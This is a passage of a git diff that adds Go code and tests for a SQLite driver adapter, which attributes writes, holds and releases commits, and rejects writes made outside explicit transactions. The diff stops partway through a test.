b/service/singleton/sqlite_attribution_transaction_finalization_agentcompat_linux_test.go @@ -0,0 +1,236 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "context" + "database/sql" + "database/sql/driver" + "errors" + "testing" + + "golang.org/x/sys/unix" +) + +func sqliteAttributionHeldTransaction(t *testing.T, value string, transactionContext context.Context) (*sqliteAttributionConnection, driver.Tx, SQLiteHoldSession, string) { + t.Helper() + resetSQLiteAttributionForTest() + databasePath := sqliteAttributionTestDatabasePath(t) + rawConnection, err := sqliteAttributionDriver{}.Open(databasePath) + if err != nil { + t.Fatal(err) + } + connection := rawConnection.(*sqliteAttributionConnection) + t.Cleanup(func() { + if err := connection.Close(); err != nil { + t.Error(err) + } + }) + if _, err := connection.connection.Exec("CREATE TABLE settings (id INTEGER PRIMARY KEY, value TEXT)", nil); err != nil { + t.Fatal(err) + } + enableSQLiteAttribution() + transaction, err := connection.BeginTx(transactionContext, driver.TxOptions{}) + if err != nil { + t.Fatal(err) + } + statement, err := connection.Prepare("INSERT INTO settings (value) VALUES (?)") + if err != nil { + t.Fatal(err) + } + if _, err := statement.Exec([]driver.Value{value}); err != nil { + t.Fatal(err) + } + if err := statement.Close(); err != nil { + t.Fatal(err) + } + session, err := sqliteAttributionTracker.Load().ArmNextSQLiteHold() + if err != nil { + t.Fatal(err) + } + return connection, transaction, session, databasePath +} + +func sqliteAttributionStartHeldCommit(t *testing.T, transaction driver.Tx, session SQLiteHoldSession) <-chan error { + t.Helper() + finalizing := make(chan error, 1) + commit := make(chan error, 1) + go func() { + _, err := sqliteAttributionTracker.Load().WaitSQLiteHold(context.Background(), session, SQLiteHoldWaitFinalizing) + finalizing <- err + }() + go func() { commit <- transaction.Commit() }() + select { + case err := <-finalizing: + if err != nil { + t.Fatalf("Commit finalization wait error = %v", err) + } + case err := <-commit: + t.Fatalf("Commit completed before selected hold release: %v", err) + } + return commit +} + +func sqliteAttributionPersistedCount(t *testing.T, databasePath string) int { + t.Helper() + database, err := sql.Open("sqlite3", databasePath) + if err != nil { + t.Fatal(err) + } + defer database.Close() + var count int + if err := database.QueryRow("SELECT COUNT(*) FROM settings").Scan(&count); err != nil { + t.Fatal(err) + } + return count +} + +func sqliteAttributionTransactionState(t *testing.T, connection *sqliteAttributionConnection) (SQLiteTransaction, int, bool) { + t.Helper() + connection.lifecycleMu.Lock() + state := connection.transaction + if state == nil { + connection.lifecycleMu.Unlock() + return SQLiteTransaction{}, -1, false + } + identity, descriptor := state.transaction, state.journalFD + connection.lifecycleMu.Unlock() + return identity, descriptor, true +} + +func sqliteAttributionTrackerTransactionActive(tracker *SQLiteHoldTracker, identity SQLiteTransaction) bool { + tracker.mu.Lock() + defer tracker.mu.Unlock() + _, active := tracker.transactions[identity] + return active +} + +func TestSQLiteAttributionCommitWaitsForSelectedHoldRelease(t *testing.T) { + // Given + connection, transaction, session, databasePath := sqliteAttributionHeldTransaction(t, "held-commit", context.Background()) + identity, descriptor, active := sqliteAttributionTransactionState(t, connection) + if !active { + t.Fatal("held transaction is not active") + } + + // When + commit := sqliteAttributionStartHeldCommit(t, transaction, session) + select { + case err := <-commit: + t.Fatalf("Commit completed while selected hold remains unreleased: %v", err) + default: + } + if err := sqliteAttributionTracker.Load().ReleaseSQLiteHold(session); err != nil { + t.Fatal(err) + } + commitErr := <-commit + + // Then + if commitErr != nil { + t.Fatal(commitErr) + } + if _, descriptorErr := unix.FcntlInt(uintptr(descriptor), unix.F_GETFD, 0); !errors.Is(descriptorErr, unix.EBADF) { + t.Fatalf("journal descriptor after released Commit = %v, want EBADF", descriptorErr) + } + if _, _, active := sqliteAttributionTransactionState(t, connection); active { + t.Fatal("released Commit left the connection transaction active") + } + if sqliteAttributionTrackerTransactionActive(sqliteAttributionTracker.Load(), identity) { + t.Fatal("released Commit left the tracker transaction active") + } + if count := sqliteAttributionPersistedCount(t, databasePath); count != 1 { + t.Fatalf("released held Commit persisted %d rows", count) + } +} + +func TestSQLiteAttributionCommitRollsBackWhenSelectedHoldAborts(t *testing.T) { + // Given + connection, transaction, session, databasePath := sqliteAttributionHeldTransaction(t, "aborted-commit", context.Background()) + identity, descriptor, active := sqliteAttributionTransactionState(t, connection) + if !active { + t.Fatal("held transaction is not active") + } + + // When + commit := sqliteAttributionStartHeldCommit(t, transaction, session) + if err := sqliteAttributionTracker.Load().AbortSQLiteHold(session); err != nil { + t.Fatal(err) + } + commitErr := <-commit + _, descriptorErr := unix.FcntlInt(uintptr(descriptor), unix.F_GETFD, 0) + + // Then + var holdErr *SQLiteHoldError + if !errors.As(commitErr, &holdErr) || !errors.Is(commitErr, ErrSQLiteHoldAborted) { + t.Fatalf("aborted held Commit error = %v", commitErr) + } + if !errors.Is(descriptorErr, unix.EBADF) { + t.Fatalf("journal descriptor after aborted Commit = %v, want EBADF", descriptorErr) + } + if _, _, active := sqliteAttributionTransactionState(t, connection); active { + t.Fatal("aborted Commit left the connection transaction active") + } + if sqliteAttributionTrackerTransactionActive(sqliteAttributionTracker.Load(), identity) { + t.Fatal("aborted Commit left the tracker transaction active") + } + if count := sqliteAttributionPersistedCount(t, databasePath); count != 0 { + t.Fatalf("aborted held Commit persisted %d rows", count) + } +} + +func TestSQLiteAttributionCommitRollsBackWhenBeginTxContextCancels(t *testing.T) { + // Given + transactionContext, cancel := context.WithCancel(context.Background()) + defer cancel() + connection, transaction, session, databasePath := sqliteAttributionHeldTransaction(t, "cancelled-commit", transactionContext) + identity, descriptor, active := sqliteAttributionTransactionState(t, connection) + if !active { + t.Fatal("cancelled transaction is not active") + } + + // When + commit := sqliteAttributionStartHeldCommit(t, transaction, session) + cancel() + commitErr := <-commit + _, descriptorErr := unix.FcntlInt(uintptr(descriptor), unix.F_GETFD, 0) + + // Then + var holdErr *SQLiteHoldError + if !errors.As(commitErr, &holdErr) || !errors.Is(commitErr, ErrSQLiteHoldAborted) || !errors.Is(commitErr, context.Canceled) { + t.Fatalf("cancelled held Commit error = %v", commitErr) + } + if count := sqliteAttributionPersistedCount(t, databasePath); count != 0 { + t.Fatalf("cancelled held Commit persisted %d rows", count) + } + if !errors.Is(descriptorErr, unix.EBADF) { + t.Fatalf("journal descriptor after cancelled Commit = %v, want EBADF", descriptorErr) + } + if _, _, active := sqliteAttributionTransactionState(t, connection); active { + t.Fatal("cancelled Commit left the connection transaction active") + } + if sqliteAttributionTrackerTransactionActive(sqliteAttributionTracker.Load(), identity) { + t.Fatal("cancelled Commit left the tracker transaction active") + } +} + +func TestSQLiteAttributionRollbackWakesSelectedCommit(t *testing.T) { + // Given + _, transaction, session, databasePath := sqliteAttributionHeldTransaction(t, "rollback-wakes-commit", context.Background()) + + // When + commit := sqliteAttributionStartHeldCommit(t, transaction, session) + rollbackErr := transaction.Rollback() + commitErr := <-commit + + // Then + if rollbackErr != nil { + t.Fatal(rollbackErr) + } + var holdErr *SQLiteHoldError + if !errors.As(commitErr, &holdErr) || !errors.Is(commitErr, ErrSQLiteHoldAborted) { + t.Fatalf("Commit error after Rollback = %v", commitErr) + } + if count := sqliteAttributionPersistedCount(t, databasePath); count != 0 { + t.Fatalf("Rollback while Commit waited persisted %d rows", count) + } +} diff --git a/service/singleton/sqlite_attribution_transaction_terminal_agentcompat_linux_test.go b/service/singleton/sqlite_attribution_transaction_terminal_agentcompat_linux_test.go new file mode 100644 index 00000000..1028e2c2 --- /dev/null +++ b/service/singleton/sqlite_attribution_transaction_terminal_agentcompat_linux_test.go @@ -0,0 +1,158 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "context" + "database/sql/driver" + "errors" + "testing" + + "golang.org/x/sys/unix" +) + +func sqliteAttributionTransactionWithWrite(t *testing.T, databasePath, value string) (*sqliteAttributionConnection, driver.Tx) { + t.Helper() + rawConnection, err := sqliteAttributionDriver{}.Open(databasePath) + if err != nil { + t.Fatal(err) + } + connection := rawConnection.(*sqliteAttributionConnection) + t.Cleanup(func() { + if err := connection.Close(); err != nil { + t.Error(err) + } + }) + if _, err := connection.connection.Exec("CREATE TABLE settings (id INTEGER PRIMARY KEY, value TEXT)", nil); err != nil { + t.Fatal(err) + } + transaction, err := connection.BeginTx(context.Background(), driver.TxOptions{}) + if err != nil { + t.Fatal(err) + } + statement, err := connection.Prepare("INSERT INTO settings (value) VALUES (?)") + if err != nil { + t.Fatal(err) + } + if _, err := statement.Exec([]driver.Value{value}); err != nil { + t.Fatal(err) + } + if err := statement.Close(); err != nil { + t.Fatal(err) + } + return connection, transaction +} + +func sqliteAttributionTransactionWithAmbiguousWrite(t *testing.T, databasePath, value string) (*sqliteAttributionConnection, driver.Tx, error) { + t.Helper() + rawConnection, err := sqliteAttributionDriver{}.Open(databasePath) + if err != nil { + t.Fatal(err) + } + connection := rawConnection.(*sqliteAttributionConnection) + t.Cleanup(func() { + if err := connection.Close(); err != nil { + t.Error(err) + } + }) + if _, err := connection.connection.Exec("CREATE TABLE settings (id INTEGER PRIMARY KEY, value TEXT)", nil); err != nil { + t.Fatal(err) + } + transaction, err := connection.BeginTx(context.Background(), driver.TxOptions{}) + if err != nil { + t.Fatal(err) + } + statement, err := connection.Prepare("INSERT INTO settings (value) VALUES (?)") + if err != nil { + t.Fatal(err) + } + _, writeErr := statement.Exec([]driver.Value{value}) + if err := statement.Close(); err != nil { + t.Fatal(err) + } + return connection, transaction, writeErr +} + +func TestSQLiteAttributionUnselectedCommitPersistsImmediately(t *testing.T) { + // Given + resetSQLiteAttributionForTest() + enableSQLiteAttribution() + databasePath := sqliteAttributionTestDatabasePath(t) + session, err := sqliteAttributionTracker.Load().ArmSQLiteHold(SQLiteJournalIdentity{}) + if err != nil { + t.Fatal(err) + } + connection, transaction := sqliteAttributionTransactionWithWrite(t, databasePath, "unselected-commit") + identity, descriptor, active := sqliteAttributionTransactionState(t, connection) + if !active { + t.Fatal("unselected transaction is not active") + } + + // When + commitErr := transaction.Commit() + abortErr := sqliteAttributionTracker.Load().AbortSQLiteHold(session) + _, descriptorErr := unix.FcntlInt(uintptr(descriptor), unix.F_GETFD, 0) + + // Then + if commitErr != nil { + t.Fatal(commitErr) + } + if abortErr != nil { + t.Fatal(abortErr) + } + if count := sqliteAttributionPersistedCount(t, databasePath); count != 1 { + t.Fatalf("unselected Commit persisted %d rows", count) + } + if !errors.Is(descriptorErr, unix.EBADF) { + t.Fatalf("journal descriptor after unselected Commit = %v, want EBADF", descriptorErr) + } + if _, _, active := sqliteAttributionTransactionState(t, connection); active { + t.Fatal("unselected Commit left the connection transaction active") + } + if sqliteAttributionTrackerTransactionActive(sqliteAttributionTracker.Load(), identity) { + t.Fatal("unselected Commit left the tracker transaction active") + } +} + +func TestSQLiteAttributionFutureAmbiguityRollsBackEveryParticipatingCommit(t *testing.T) { + // Given + resetSQLiteAttributionForTest() + enableSQLiteAttribution() + firstPath := sqliteAttributionTestDatabasePath(t) + secondPath := sqliteAttributionTestDatabasePath(t) + tracker := sqliteAttributionTracker.Load() + if _, err := tracker.ArmNextSQLiteHold(); err != nil { + t.Fatal(err) + } + firstConnection, firstTransaction := sqliteAttributionTransactionWithWrite(t, firstPath, "first-ambiguous") + secondConnection, secondTransaction, secondWriteErr := sqliteAttributionTransactionWithAmbiguousWrite(t, secondPath, "second-ambiguous") + if !errors.Is(secondWriteErr, ErrSQLiteHoldAmbiguousCandidate) { + t.Fatalf("second ambiguity write error = %v", secondWriteErr) + } + firstIdentity, _, firstActive := sqliteAttributionTransactionState(t, firstConnection) + secondIdentity, _, secondActive := sqliteAttributionTransactionState(t, secondConnection) + if !firstActive || !secondActive { + t.Fatal("ambiguity participants are not active") + } + + // When + firstCommitErr := firstTransaction.Commit() + secondCommitErr := secondTransaction.Commit() + + // Then + for _, commitErr := range []error{firstCommitErr, secondCommitErr} { + var holdErr *SQLiteHoldError + if !errors.As(commitErr, &holdErr) || !errors.Is(commitErr, ErrSQLiteHoldAmbiguousCandidate) { + t.Fatalf("ambiguous Commit error = %v", commitErr) + } + } + if count := sqliteAttributionPersistedCount(t, firstPath); count != 0 { + t.Fatalf("first ambiguous Commit persisted %d rows", count) + } + if count := sqliteAttributionPersistedCount(t, secondPath); count != 0 { + t.Fatalf("second ambiguous Commit persisted %d rows", count) + } + if sqliteAttributionTrackerTransactionActive(tracker, firstIdentity) || sqliteAttributionTrackerTransactionActive(tracker, secondIdentity) { + t.Fatal("ambiguous Commit left a tracker transaction active") + } +} diff --git a/service/singleton/sqlite_attribution_unbound_agentcompat_linux_test.go b/service/singleton/sqlite_attribution_unbound_agentcompat_linux_test.go new file mode 100644 index 00000000..7e72d0cf --- /dev/null +++ b/service/singleton/sqlite_attribution_unbound_agentcompat_linux_test.go @@ -0,0 +1,217 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "context" + "database/sql/driver" + "errors" + "testing" +) + +func TestSQLiteAttributionRejectsDirectUnboundExecBeforeInsert(t *testing.T) { + // Given + database := openSQLiteAttributionTestDatabase(t) + enableSQLiteAttribution() + + // When + _, err := database.Exec("INSERT INTO settings (value) VALUES (?)", "direct-unbound") + count := sqliteAttributionSettingsCount(t, database) + + // Then + // An UpdateHook error after SQLite executes is too late for autocommit: the write may already be committed. + if !errors.Is(err, ErrSQLiteAttributionUnboundWrite) { + t.Error("direct unbound Exec error does not wrap ErrSQLiteAttributionUnboundWrite") + } + if count != 0 { + t.Errorf("direct unbound Exec persisted %d rows", count) + } +} + +func TestSQLiteAttributionRejectsLegacyDriverQueryBeforeInsert(t *testing.T) { + // Given + resetSQLiteAttributionForTest() + connection, err := sqliteAttributionDriver{}.Open(sqliteAttributionTestDatabasePath(t)) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { + if closeErr := connection.Close(); closeErr != nil { + t.Error(closeErr) + } + }) + if _, err := connection.(driver.Execer).Exec("CREATE TABLE settings (id INTEGER PRIMARY KEY, value TEXT)", nil); err != nil { + t.Fatal(err) + } + enableSQLiteAttribution() + + // When + rows, queryErr := connection.(driver.Queryer).Query("INSERT INTO settings (value) VALUES (?) RETURNING id", []driver.Value{"legacy-direct"}) + rowsErr := sqliteAttributionConsumeDriverRows(rows) + + // Then + if !errors.Is(errors.Join(queryErr, rowsErr), ErrSQLiteAttributionUnboundWrite) { + t.Error("legacy driver Query does not reject unbound row DML") + } +} + +func TestSQLiteAttributionRejectsPreparedLegacyDriverQueryBeforeInsert(t *testing.T) { + // Given + resetSQLiteAttributionForTest() + connection, err := sqliteAttributionDriver{}.Open(sqliteAttributionTestDatabasePath(t)) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { + if closeErr := connection.Close(); closeErr != nil { + t.Error(closeErr) + } + }) + if _, err := connection.(driver.Execer).Exec("CREATE TABLE settings (id INTEGER PRIMARY KEY, value TEXT)", nil); err != nil { + t.Fatal(err) + } + enableSQLiteAttribution() + statement, err := connection.Prepare("INSERT INTO settings (value) VALUES (?) RETURNING id") + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { + if closeErr := statement.Close(); closeErr != nil { + t.Error(closeErr) + } + }) + + // When + rows, queryErr := statement.Query([]driver.Value{"legacy-prepared"}) + rowsErr := sqliteAttributionConsumeDriverRows(rows) + + // Then + if !errors.Is(errors.Join(queryErr, rowsErr), ErrSQLiteAttributionUnboundWrite) { + t.Error("prepared legacy driver Query does not reject unbound row DML") + } +} + +func TestSQLiteAttributionRejectsPreparedUnboundExecBeforeInsert(t *testing.T) { + // Given + database := openSQLiteAttributionTestDatabase(t) + enableSQLiteAttribution() + statement, err := database.Prepare("INSERT INTO settings (value) VALUES (?)") + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { + if closeErr := statement.Close(); closeErr != nil { + t.Error(closeErr) + } + }) + + // When + _, err = statement.Exec("prepared-unbound") + count := sqliteAttributionSettingsCount(t, database) + + // Then + if !errors.Is(err, ErrSQLiteAttributionUnboundWrite) { + t.Error("prepared unbound Exec error does not wrap ErrSQLiteAttributionUnboundWrite") + } + if count != 0 { + t.Errorf("prepared unbound Exec persisted %d rows", count) + } +} + +func TestSQLiteAttributionRejectsDirectUnboundReturningBeforeInsert(t *testing.T) { + // Given + database := openSQLiteAttributionTestDatabase(t) + enableSQLiteAttribution() + + // When + rows, queryErr := database.QueryContext(context.Background(), "INSERT INTO settings (value) VALUES (?) RETURNING id", "direct-returning") + rowsErr := sqliteAttributionConsumeRows(rows) + count := sqliteAttributionSettingsCount(t, database) + + // Then + if !errors.Is(errors.Join(queryErr, rowsErr), ErrSQLiteAttributionUnboundWrite) { + t.Error("direct unbound RETURNING does not propagate ErrSQLiteAttributionUnboundWrite through rows") + } + if count != 0 { + t.Errorf("direct unbound RETURNING persisted %d rows", count) + } +} + +func TestSQLiteAttributionRejectsPreparedUnboundReturningBeforeInsert(t *testing.T) { + // Given + database := openSQLiteAttributionTestDatabase(t) + enableSQLiteAttribution() + statement, err := database.PrepareContext(context.Background(), "INSERT INTO settings (value) VALUES (?) RETURNING id") + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { + if closeErr := statement.Close(); closeErr != nil { + t.Error(closeErr) + } + }) + + // When + rows, queryErr := statement.QueryContext(context.Background(), "prepared-returning") + rowsErr := sqliteAttributionConsumeRows(rows) + count := sqliteAttributionSettingsCount(t, database) + + // Then + if !errors.Is(errors.Join(queryErr, rowsErr), ErrSQLiteAttributionUnboundWrite) { + t.Error("prepared unbound RETURNING does not propagate ErrSQLiteAttributionUnboundWrite through rows") + } + if count != 0 { + t.Errorf("prepared unbound RETURNING persisted %d rows", count) + } +} + +func TestSQLiteAttributionRejectsDirectUnboundUpdateBeforeSideEffect(t *testing.T) { + // Given + database := openSQLiteAttributionTestDatabase(t) + if _, err := database.Exec("INSERT INTO settings (value) VALUES (?)", "original"); err != nil { + t.Fatal(err) + } + enableSQLiteAttribution() + + // When + _, err := database.Exec("UPDATE settings SET value = ?", "changed") + value := sqliteAttributionSettingValue(t, database) + + // Then + if !errors.Is(err, ErrSQLiteAttributionUnboundWrite) { + t.Error("direct unbound UPDATE error does not wrap ErrSQLiteAttributionUnboundWrite") + } + if value != "original" { + t.Error("direct unbound UPDATE changed the persisted value") + } +} + +func TestSQLiteAttributionRejectsPreparedUnboundDeleteBeforeSideEffect(t *testing.T) { + // Given + database := openSQLiteAttributionTestDatabase(t) + if _, err := database.Exec("INSERT INTO settings (value) VALUES (?)", "preserved"); err != nil { + t.Fatal(err) + } + enableSQLiteAttribution() + statement, err := database.Prepare("DELETE FROM settings") + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { + if closeErr := statement.Close(); closeErr != nil { + t.Error(closeErr) + } + }) + + // When + _, err = statement.Exec() + count := sqliteAttributionSettingsCount(t, database) + + // Then + if !errors.Is(err, ErrSQLiteAttributionUnboundWrite) { + t.Error("prepared unbound DELETE error does not wrap ErrSQLiteAttributionUnboundWrite") + } + if count != 1 { + t.Errorf("prepared unbound DELETE left %d rows", count) + } +} diff --git a/service/singleton/sqlite_dialector_agentcompat_linux.go b/service/singleton/sqlite_dialector_agentcompat_linux.go new file mode 100644 index 00000000..ce1601df --- /dev/null +++ b/service/singleton/sqlite_dialector_agentcompat_linux.go @@ -0,0 +1,13 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "gorm.io/driver/sqlite" + "gorm.io/gorm" +) + +func openSQLiteDialector(path string) gorm.Dialector { + registerSQLiteAttributionDriver() + return sqlite.New(sqlite.Config{DriverName: sqliteAttributionDriverName, DSN: path}) +} diff --git a/service/singleton/sqlite_dialector_default.go b/service/singleton/sqlite_dialector_default.go new file mode 100644 index 00000000..316ca2d5 --- /dev/null +++ b/service/singleton/sqlite_dialector_default.go @@ -0,0 +1,12 @@ +//go:build !agentcompat || !linux + +package singleton + +import ( + "gorm.io/driver/sqlite" + "gorm.io/gorm" +) + +func openSQLiteDialector(path string) gorm.Dialector { + return sqlite.Open(path) +} diff --git a/service/singleton/sqlite_driver_adapter_agentcompat_linux.go b/service/singleton/sqlite_driver_adapter_agentcompat_linux.go new file mode 100644 index 00000000..2001a0b4 --- /dev/null +++ b/service/singleton/sqlite_driver_adapter_agentcompat_linux.go @@ -0,0 +1,250 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "context" + "database/sql" + "database/sql/driver" + "errors" + "fmt" + "strings" + "sync" + "sync/atomic" + + "github.com/mattn/go-sqlite3" +) + +const sqliteAttributionDriverName = "nezha_sqlite_attribution" + +var ( + ErrSQLiteAttributionUnsupportedDSN = errors.New("sqlite attribution requires a filesystem database") + ErrSQLiteAttributionUnboundWrite = errors.New("sqlite attribution observed a write without an explicit transaction") + ErrSQLiteAttributionJournalIdentity = errors.New("sqlite attribution could not identify the rollback journal") + ErrSQLiteAttributionUnsupportedWrite = errors.New("sqlite attribution cannot classify this write") + + sqliteAttributionDriverRegistration sync.Once + sqliteAttributionEnabled atomic.Bool + sqliteAttributionConnectionID atomic.Uint64 + sqliteAttributionTransactionID atomic.Uint64 + sqliteAttributionTracker atomic.Pointer[SQLiteHoldTracker] + sqliteAttributionHoldControl *sqliteHoldControl +) + +type SQLiteAttributionError struct{ Cause error } + +func (err *SQLiteAttributionError) Error() string { return err.Cause.Error() } +func (err *SQLiteAttributionError) Unwrap() error { return err.Cause } + +func init() { resetSQLiteAttributionControl() } + +func registerSQLiteAttributionDriver() { + sqliteAttributionDriverRegistration.Do(func() { sql.Register(sqliteAttributionDriverName, sqliteAttributionDriver{}) }) +} + +func enableSQLiteAttribution() { sqliteAttributionEnabled.Store(true) } + +func resetSQLiteAttributionForTest() { + sqliteAttributionEnabled.Store(false) + resetSQLiteAttributionControl() +} + +func resetSQLiteAttributionControl() { + tracker := newSQLiteAttributionHoldTracker(&sqliteAttributionEnabled) + sqliteAttributionTracker.Store(tracker) + sqliteAttributionHoldControl = newProductionSQLiteHoldControl(tracker) +} + +type sqliteAttributionDriver struct{} + +func (sqliteAttributionDriver) Open(dataSourceName string) (driver.Conn, error) { + rawConnection, err := (&sqlite3.SQLiteDriver{}).Open(dataSourceName) + if err != nil { + return nil, err + } + connection, ok := rawConnection.(*sqlite3.SQLiteConn) + if !ok { + return nil, errors.New("sqlite attribution received an unsupported sqlite connection") + } + databasePath := connection.GetFilename("") + if databasePath == "" { + if closeErr := connection.Close(); closeErr != nil { + return nil, fmt.Errorf("close unsupported sqlite database: %w", closeErr) + } + return nil, &SQLiteAttributionError{Cause: ErrSQLiteAttributionUnsupportedDSN} + } + wrapped := &sqliteAttributionConnection{connection: connection, identity: SQLiteConnectionIdentity(sqliteAttributionConnectionID.Add(1)), journal: databasePath + "-journal", closeRawConnection: connection.Close} + wrapped.prepareStatement = wrapped.prepareSQLiteStatement + connection.RegisterAuthorizer(wrapped.authorize) + connection.RegisterUpdateHook(wrapped.recordUpdate) + return wrapped, nil +} + +type sqliteAttributionConnection struct { + connection *sqlite3.SQLiteConn + identity SQLiteConnectionIdentity + journal string + + // lifecycleMu owns the active transaction and its poison, journal descriptor, and completion state; never hold it across raw SQLite, tracker, wait, or close operations. + lifecycleMu sync.Mutex + transaction *sqliteAttributionTransaction + capturing bool + preparing sqliteAttributionClassification + execution *sqliteAttributionExecution + + prepareStatement sqliteAttributionStatementPreparer + closeRawConnection func() error +} + +type sqliteAttributionStatementPreparer func(context.Context, string) (driver.Stmt, error) + +type sqliteAttributionTransaction struct { + transaction SQLiteTransaction + raw driver.Tx + tracker *SQLiteHoldTracker + context context.Context + journalFD int + poison error + terminalPhase sqliteAttributionTerminalPhase + done chan struct{} + releasedCommitBoundary func() + terminalLoserWaitBoundary func() +} + +type sqliteAttributionTerminalPhase uint8 + +const ( + sqliteAttributionTerminalOpen sqliteAttributionTerminalPhase = iota + sqliteAttributionTerminalCommitWaiting + sqliteAttributionTerminalCommitOwned + sqliteAttributionTerminalRollbackOwned +) + +type sqliteAttributionExecution struct { + classification sqliteAttributionClassification + origin SQLiteExecutionOrigin + hook sqliteAttributionHook +} + +type sqliteAttributionHook struct { + seen bool + mismatch bool +} + +var ( + _ driver.Driver = sqliteAttributionDriver{} + _ driver.Conn = (*sqliteAttributionConnection)(nil) + _ driver.Pinger = (*sqliteAttributionConnection)(nil) + _ driver.ConnPrepareContext = (*sqliteAttributionConnection)(nil) + _ driver.ConnBeginTx = (*sqliteAttributionConnection)(nil) + _ driver.Execer = (*sqliteAttributionConnection)(nil) + _ driver.ExecerContext = (*sqliteAttributionConnection)(nil) + _ driver.Queryer = (*sqliteAttributionConnection)(nil) + _ driver.QueryerContext = (*sqliteAttributionConnection)(nil) +) + +func (connection *sqliteAttributionConnection) authorize(operation int, table, _, schema string) int { + if !connection.capturing { + return sqlite3.SQLITE_OK + } + classification := &connection.preparing + if operation != sqlite3.SQLITE_INSERT && operation != sqlite3.SQLITE_UPDATE && operation != sqlite3.SQLITE_DELETE { + return sqlite3.SQLITE_OK + } + rowOperation, ok := sqliteAttributionOperation(operation) + if !ok || schema != "main" || strings.HasPrefix(table, "sqlite_") { + classification.ambiguous = true + return sqlite3.SQLITE_OK + } + // SQLite authorizes UPDATE once per written column; only a different row-DML target is ambiguous. + if classification.hasRowDML { + if classification.operation != rowOperation || classification.table != table { + classification.ambiguous = true + } + return sqlite3.SQLITE_OK + } + classification.hasRowDML = true + classification.operation = rowOperation + classification.table = table + return sqlite3.SQLITE_OK +} + +func (connection *sqliteAttributionConnection) Prepare(query string) (driver.Stmt, error) { + return connection.prepareStatement(context.Background(), query) +} + +func (connection *sqliteAttributionConnection) PrepareContext(ctx context.Context, query string) (driver.Stmt, error) { + return connection.prepareStatement(ctx, query) +} + +func (connection *sqliteAttributionConnection) prepareSQLiteStatement(ctx context.Context, query string) (driver.Stmt, error) { + connection.preparing = sqliteAttributionClassification{} + connection.capturing = true + statement, err := connection.connection.PrepareContext(ctx, query) + connection.capturing = false + classification := connection.preparing + connection.preparing = sqliteAttributionClassification{} + if err != nil { + return nil, err + } + rawStatement, ok := statement.(*sqlite3.SQLiteStmt) + if !ok { + return nil, errors.New("sqlite attribution received an unsupported sqlite statement") + } + classification.readonly = rawStatement.Readonly() + return &sqliteAttributionStatement{connection: connection, statement: statement, classification: classification}, nil +} + +func (connection *sqliteAttributionConnection) Ping(ctx context.Context) error { + return connection.connection.Ping(ctx) +} +func (connection *sqliteAttributionConnection) Begin() (driver.Tx, error) { + return connection.begin(context.Background(), driver.TxOptions{}) +} +func (connection *sqliteAttributionConnection) BeginTx(ctx context.Context, options driver.TxOptions) (driver.Tx, error) { + return connection.begin(ctx, options) +} + +func (connection *sqliteAttributionConnection) begin(ctx context.Context, options driver.TxOptions) (driver.Tx, error) { + transaction, err := connection.connection.BeginTx(ctx, options) + if err != nil { + return nil, err + } + identity := SQLiteTransaction{Connection: connection.identity, Identity: SQLiteTransactionIdentity(sqliteAttributionTransactionID.Add(1))} + tracker := sqliteAttributionTracker.Load() + if err := tracker.BeginSQLiteTransaction(identity); err != nil { + // Tracker rejection happens after BEGIN; leave no raw transaction to wedge this connection. + return nil, errors.Join(err, transaction.Rollback()) + } + state := &sqliteAttributionTransaction{transaction: identity, raw: transaction, tracker: tracker, context: ctx, journalFD: -1, done: make(chan struct{})} + connection.lifecycleMu.Lock() + connection.transaction = state + connection.lifecycleMu.Unlock() + return &sqliteAttributionTx{connection: connection, state: state}, nil +} + +func (connection *sqliteAttributionConnection) recordUpdate(operation int, database, table string, _ int64) { + execution := connection.execution + if execution == nil { + return + } + rowOperation, ok := sqliteAttributionOperation(operation) + if !ok || database != "main" || rowOperation != execution.classification.operation || table != execution.classification.table { + execution.hook.mismatch = true + return + } + execution.hook.seen = true +} + +func sqliteAttributionOperation(operation int) (SQLiteOperation, bool) { + switch operation { + case sqlite3.SQLITE_INSERT: + return SQLiteOperationInsert, true + case sqlite3.SQLITE_UPDATE: + return SQLiteOperationUpdate, true + case sqlite3.SQLITE_DELETE: + return SQLiteOperationDelete, true + default: + return "", false + } +} diff --git a/service/singleton/sqlite_driver_adapter_agentcompat_linux_test.go b/service/singleton/sqlite_driver_adapter_agentcompat_linux_test.go new file mode 100644 index 00000000..75d0011b --- /dev/null +++ b/service/singleton/sqlite_driver_adapter_agentcompat_linux_test.go @@ -0,0 +1,204 @@ +//go:build agentcompat && linux + +package singleton + +import ( + "database/sql" + "database/sql/driver" + "errors" + "path/filepath" + "testing" +) + +func TestSQLiteDriverAdapterRecordsExplicitInsert_when_AttributionEnabled(t *testing.T) { + resetSQLiteAttributionForTest() + databasePath := filepath.Join(t.TempDir(), "dashboard.sqlite") + database, err := openSQLiteAttributionTestDB(databasePath) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { + if closeErr := database.Close(); closeErr != nil { + t.Error(closeErr) + } + }) + if _, err := database.Exec("CREATE TABLE settings (id INTEGER PRIMARY KEY, value TEXT)"); err != nil { + t.Fatal(err) + } + enableSQLiteAttribution() + transaction, err := database.Begin() + if err != nil { + t.Fatal(err) + } + if _, err := transaction.Exec("INSERT INTO settings (value) VALUES (?)", "opaque"); err != nil { + t.Fatal(err) + } + + if !sqliteAttributionTrackerHasWrite() { + t.Fatal("explicit insert did not record an atomic sqlite write") + } + if err := transaction.Commit(); err != nil { + t.Fatal(err) + } +} + +func TestSQLiteDriverAdapterRecordsPreparedExplicitInsert_when_AttributionEnabled(t *testing.T) { + resetSQLiteAttributionForTest() + databasePath := filepath.Join(t.TempDir(), "dashboard.sqlite") + database, err := openSQLiteAttributionTestDB(databasePath) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { + if closeErr := database.Close(); closeErr != nil { + t.Error(closeErr) + } + }) + if _, err := database.Exec("CREATE TABLE settings (id INTEGER PRIMARY KEY, value TEXT)"); err != nil { + t.Fatal(err) + } + enableSQLiteAttribution() + transaction, err := database.Begin() + if err != nil { + t.Fatal(err) + } + statement, err := transaction.Prepare("INSERT INTO settings (value) VALUES 